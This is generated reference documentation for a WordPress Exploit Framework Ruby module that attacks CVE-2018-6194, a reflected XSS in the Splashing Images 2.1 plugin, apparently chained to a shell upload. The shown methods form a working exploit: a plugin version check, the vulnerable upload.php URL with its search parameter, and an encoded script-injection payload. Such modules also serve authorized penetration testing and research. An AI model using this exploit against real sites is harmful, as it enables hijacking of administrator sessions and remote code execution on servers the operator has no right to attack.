class Wpxf::Exploit::SplashingImagesReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb, line 6 def initialize super update_info( name: 'Splashing Imagges 2.1 Reflected XSS', author: [ 'Nicolas Buzy-Debat', # Discovery 'Paul Williams <phyushin[at]phyubox.com>' # WPXF module ], references: [ ['CVE', '2018-6194'], ['WPVDB', '9016'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jan/91'] ], date: 'Jan 26 2018' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb, line 24 def check check_plugin_version_from_readme('wp-splashing-images', '2.1.1') end
url_payload()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb, line 32 def url_payload url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>") end
url_with_xss()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb, line 36 def url_with_xss "#{vulnerable_url}?page=wp-splashing&search=#{url_payload}" end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/splashing_images_reflected_xss_shell_upload.rb, line 28 def vulnerable_url normalize_uri(wordpress_url_admin, 'upload.php') end